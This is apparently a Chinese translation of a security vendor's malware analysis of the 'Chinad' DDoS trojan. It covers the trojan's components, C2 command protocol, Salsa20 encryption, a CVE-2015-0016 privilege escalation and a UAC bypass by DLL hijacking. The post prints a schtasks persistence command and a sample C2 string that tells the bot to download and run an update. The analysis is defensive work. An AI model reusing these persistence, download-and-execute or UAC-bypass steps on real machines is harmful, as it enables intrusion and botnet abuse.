source:https://blog.malwarebytes.org/intelligence/2015/06/unusual-exploit-kit-targets-chinese-users-part-2/
最近,我们的研究人员发现了一个非常奇怪的exploit kit正在攻击中国的域名。在上一篇 文章 中,我们详细地讨论了这个exploit kit的运作方式,包括其感染途径,payload可执行文件,以及这个攻击工具采用了哪些手段来绕过奇虎360的检测。
在这篇文章中,我们会讨论这个exploit kit的木马。在VirusTotal 上,有很多关于这个木马的查杀记录。我们的研究员把这个木马命名为 “Trojan.Chinad” 或"Chinad"。
Chinad的木马文件:
notepad.exe (MD5: 5a454c795eccf94bf6213fcc4ee65e6d )
pic.jpg (MD5: 4e8639378d7a302c7474b5e4406dd7b4 )
image.png (MD5: 55c447191d9566c7442e25c4caf0d2fe )
5003.tmp (MD5: d6ce4b6db8407ca80193ede96d812bb7 ) – 真实名称, “Module_UacBypass.dll”
摘要
Notepad.exe ("Chinad") 是一个bot客户端。 这个二进制文件和image.png是 Chinad 木马的两个主要组成部分。
Chinad bot首先会请求远程服务器,然后根据接收到的命令在受害者的计算机上执行任务。虽然这个bot的主要目的是DDoS攻击,但是bot也能向自身注入任意shellcode。
Chinad木马的植入方式:CVE-2014-6332利用成功以后用FTP下载的方式植入
技术分析
可执行文件使用了UPX壳来减小体积,以便提升网络传输的效率。
UPX压缩的是一个纯净的Microsoft Visual C++可执行程序。
Chinad 首先会创建一个硬编码名称为"Global/3672a9586a5f342b2ca070851e425db6″的互斥量。接着,如果木马发现用户具有管理员权限,木马就会复制到System文件夹;否则,木马就复制到Appdata文件夹:
#!bash %windir%/System/Init/wininit.exe ("C:/Windows" being a typical value for %windir%) %appdata%/Microsoft/System/wininit.exe ("C:/Users//Roaming" being a typical value for %appdata%)
木马的维持方法:注册表启动项或者schtask.exe .比如:
#!bash C:/Windows/system32/schtasks.exe /create /F /sc onstart /tn Microsoft/Windows/Shell/Init /tr /C:/Windows/System/Init/wininit.exe/ /ru system
通过这样的操作,Chinad就能以系统权限启动,并且获取到系统的最高权限。
在与木马服务器通信之前,Chinad首先会通过联系 www.baidu.com来测试网络连接是否畅通。
如果没有网络连接,Chinad就会进入休眠模式;否则,木马就会继续从服务器上获取命令。
接收命令 木马通过获取远程服务器 (默认的硬编码 IP 地址) 上的"bootstrap.min.css"文件,来获取需要执行的命令。下图中就是一个请求。
但是,在Chinad 读取命令之前,Chinad首先需要解密从CC上取得的文件。这个文件的加密算法是Salsa20.你可以通过反编译工具的字符串参考搜索”expand 32-byte k”来识别这个算法.
Chinad 可以接受的命令包括:
update-存储当前的cnc到一个加密文件,并报告给服务器。然后,下载并执行最新版的木马,接着删除旧版木马。 syntax :
cnc- 指定cnc服务器的位置,木马会联系这个服务器来获取命令 syntax :
cnc_reset- 重置CNC服务器地址为默认值. syntax :
report- 指定报告服务器的地址. syntax :
report_reset- 重置报告服务器的地址为默认值. syntax :
attack- 利用生成的数据,通过TCP或UDP socket来攻击目标IP. syntax :
attack_reset- 重置攻击目标的地址 syntax :
url_exec- 从指定的URL上下载文件,并使用WinExec来执行这个文件 ssyntax :
通常情况下, Chinad从C2服务器上获取到的第一条命令是 “update”。这个命令中包含一个URL, Chinad会从这个URL上下载最新的木马二进制文件。在这个例子中,下载到的是image.png,一个更强大的bot版本。
木马使用了分号来分割每条命令,诸如C语言等现代的编程语言都使用了这种语法。这样就能在同一时间发出多条命令。比如接下来发出的命令“attack_reset”。下面就是一个完整的命令:
#!bash timestamp,1431270567; update,http:///image.png?13572v44,44,1,5b7e022f5009004985b34cf091d06752c765a25b445a46050eef51a17be8267d; attack_reset;
关键字“timestamp”实际上并不是一个命令。但是在这个关键字中的一个值是一个十进制格式的 FILETIME 结构,这个值对应着系统时间。这样的话,木马就只能在攻击者规定的时间中执行命令,并且攻击者也能控制木马的生命周期。
在接收到update命令后,Chinad 首先会把当前的配置信息储存到一个使用Salsa20加密的文件中,然后才会更新木马。如果用户具有管理员权限,这个文件会存储在:
#!bash %windir%/Logs/WMI/Event/SystemEvent.evt
如果用户没有管理员权限,这个文件会存储在:
#!bash %appdata%/Microsoft/System/wow64.dll
更新完成后,木马在第一次执行时会打开这个文件,然后解密文件中的内容来恢复C2服务器和报告服务器的最后已知地址。
Chinad的另一个功能就是发送报告信息,但是我们现在还不清楚木马这样做的目的。 Chinad 首先会调用 GetAdaptersInfo 来检索关于受害者电脑上网络适配器的信息,比如名称和 IP 地址信息。 接下来,木马会通过算法来生成一个特殊值。
在写这篇文章的时候,我们尚不能确定这个值的含义。另外,报告服务器总是会响应请求“AAA”。
一种可能的解释是,我们的 Chinad 的样本已经"过期了"(无效的时间戳值),所以说报告函数不能正常运行。当然也有可能是在分析期间,报告服务器不能正常使用了。
不管怎么说,请求中的值一定包含有特殊的含义,而只有报告服务器能理解这些值的含义。如果能找到更多信息,我们会更新这一部分。
我们前面提到过,Chinad 可以接收攻击命令。根据这些命令,Chinad就能攻击指定的 IP 地址。 攻击方式一般是TCP或UCP socket。这就是分布式拒绝服务攻击,也是我们所说的 DDoS 攻击。
一旦创建了攻击线程,Chinad 会不断地向目标发送数据。在指定的时间内发送完数据后,China就会进入休眠模式。
在接收到另一个攻击命令(attack)或攻击重置命令(attack_reset)之前,Chinad会一直攻击目标。下面就是Chinad通过UDP socket发送给目标的数据
为了生成这些数据,Chinad会使用CRT函数__getptd来获取线程的数据块(tiddata)地址。然后,木马会破坏返回的数据。接着再把数据发送给用户。
摘要
我们在之前的博客中提到过, Chinad 木马是利用Flash 和 Java 中存在的漏洞安装的。
Pic.jpg 是一个 Dll文件,需要一个载体(loader)来运行,这个载体可以是浏览器也可以是java.与Chinad木马的其他组件一样,pic.jpg大概是起到一个下载者的作用, 它会下载image.png。而image.png是执行bot的主要程序.。其实现方式有很多,其中一种就是再次利用受害者电脑上的漏洞。
技术分析
从外表上看,pic.jpg 平淡无奇。 这个文件没有使用混淆处理,也没有其他导出函数。
首先,pic.jpg 会简单地检查磁盘上loader进程的完整路径。例如,如果是浏览器的Flash组件存在漏洞,那么loader的位置可能就在 C:/Program Files (x86)/Internet Explorer/iexplore.exe,因为这是Microsoft IE浏览器的标准路径。Pic.jpg 会在loader的路径中查找下列字符串:
#!bash /java /iexplore.exe /mshtml.dll (检查是不是加载到内存中) /chrome.exe /firefox.exe /safari.exe /opera.exe
如果 pic.jpg 没有在loader进程中发现任何上述的字符串,pic.jpg就会认定自己在被分析,而终止运行。这样在某些情况下,pic.jpg 就能绕过沙盒等自动分析系统。
Pic.jpg 然后会将尝试攻击 TS WebProxy组件的一个漏洞 cve-2015-0016 。通过利用这个权限提升漏洞( Trend Micro对此进行了详细的说明,点击 这里查看 ) ,攻击者就能启动任意进程。 在获取到最高权限后,pic.jpg 就能在隐藏的窗口中执行 powershell 命令。下面是powershell命令的参数,首先解压缩的是一个base64编码的gzip文档。接下来就会执行这个文档中的一个脚本(在变量 $s上)。
在这个脚本中包含有shellcode(同样是base64编码)。而这个shellcode会在新内存 (VirtualAlloc) 中作为一个线程执行。
shellcode在执行时,会获取远程服务器上的 image.png,然后把文件的名称更改为desktop.ini.exe,并执行。
如果攻击TS WebProxy漏洞没有生效,pic.jpg 仍然会尝试从远程服务器上下载image.png 。一般是直接使用 UrlDownloadToFile 下载,或者是通过Temp 目录中的一个Visual Basic 脚本来完成。
摘要
这个Chinad木马在成功利用漏洞微软IE浏览器漏洞 CVE-2014-6332 (https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-6332)后,通过FTP安装。
Image.png 是 Chinad bot 的另一个变体,它的功能与notepad.exe 几乎完全相同。但是,Image.png有几个额外的功能,并且具有更强的反分析能力。
技术分析
不同于 notepad.exe,攻击者使用了 Themida (Oreans的一个产品)来保护image.png。
Themida 很强大,它具备很多功能,比如可以检测被加壳的木马是否在虚拟机执行,是否正在受病毒分析员的分析.
此外,Themida 还提供了不同的 (可变) 保护代码。如果启用了不同的功能,保护代码也都不同。这样就再次加大脱壳的难度.
有趣的是,攻击者只混淆处理了image.png,而没有混淆notepad.exe。notepad.exe和image.png从本质上来说是相同的bot,但是要想分析前者就容易很多。
这两者的主要区别在于:image.png在从C2服务器上获取命令之前,会首先在用户的 Temp 目录中投放一个特殊的DLL文件。
这个Dll文件的真正名称是"Module_UacBypass.dll"(这是一个临时文件) ,它的作用是维持木马,并绕过非XP系统上的用户UAC。我们在下图中详细的说明了这个DLL文件。
除此之外,image.png和notepad.exe并没有别的明显区别了。notepad.exe同样具备所有的功能及其相关的二进制文件。随着 bot 版本的开发,bot还会以受保护的形式安装,也可能仍然会使用 Themida。
摘要
一个受保护的Chinad bot (image.png)曾经使用过模块Module_UacBypass.dll ("Uac_bypass.dll") 。这个模块的主要目的是在Windows Vista及更高版本的系统上维持木马。但是这个模块使用的木马维持方法很特殊,包括劫持一个Windows SQL server Dll 来绕过UAC。
技术分析
Uac_Bypass.dll 具有两个导出函数,Func1 和 Func2;以及一些有趣的字符串,包括 Dll 文件的真实名称"Module_UacBypass.dll"。
有意思的是,作者把“Module”设置为了文件名称的前缀,也就是说Chinad bot还计划有很多模块,有的甚至已经投入使用了。
Uac_Bypass.dll 主要针对非管理员用户来创建Chinad bot的维持机制(对管理员用户来说,使用schtasks.exe方法来维持bot;参考下面的notepad.exe分析)。这个模块也会绕过 UAC。UAC是 Windows Vista 中新增的一种安全功能,能阻止恶意程序在系统上执行。由于Windows XP 上没有UAC功能,所以这个 Dll 不会在XP系统上执行。
首先,Uac_bypass.dll 会把自己复制到临时目录,并把文件名称修改为NTWDBLIB.dll,然后再把文件添加到cabinet archieve。NTWDBLIB.dll 是Microsoft SQL server使用的一个库文件。
这样做的主要目的是为了利用这个cabinet和wusa.exe 来更新NTWDBLIB.dll (由Uac_Bypass.dll假冒的) ,从而劫持 Dll 。Wusa.exe 是Windows Update Standalone Installer,这样就能通过提供一个cabinet来启用Windows update。
Uac_Bypass.dll 还会写入一个特殊的注册表项:
HKCU/Software/Microsoft/Windows NT/CurrentVersion/UacCompat
这个键值中包含有Chinad bot的路径。
然后,Uac_Bypass.dll 执行 cliconfig.exe,把新的恶意 NTWDBLIB.dll 加载到内存中,并指向 DllMain 函数。
在DllMain中,Uac_Bypass.dll 会检查字符串"/cliconfig.dll"是否在正调用进程列表。如果是,Uac_Bypass.dll就会获取上述注册表项中的Chinad bot路径,并使用 CreateProcess (https://msdn.microsoft.com/en-us/library/windows/desktop/ms682425%28v=vs.85%29.aspx)来运行 Chinad bot。
我们在 先前的文章中 (http://www.greyhathacker.net/?p=796)讨论过这种绕过方法。在2013年的时候,有木马率先使用了这种技术。
很显然,chinad就是一个利用中国的受害者来执行DDOS攻击的一个木马.
到目前为止,我们只发现在中国的域名上被植入了exp程序.Exploit kit的ip则分布于马来西亚,新加坡.
我们的研究团队尚未在亚洲之外的区域发现Chinad。
从诸如使用baidu.com和qq.con来测试网络连接性的行为来看,几乎可以肯定这个bot就是只活跃在亚洲的.
但是,Chinad bot并没有使用任何革命性的技术,我们也认为 Chinad bot 还不够成熟,同时木马作者还犯了很多错误。比如,没有对-notepad.exe加壳,也留下许多可作为分析线索的字符串,包括"Module_UacBypass.dll"的名称(明文)。
根据上述的原因,我们推测Chinad木马的作者既非经验丰富的专业人士,也不像是由国家授意的间谍组织.到底这个木马后续发展会是怎样,让我们一起拭目以待吧.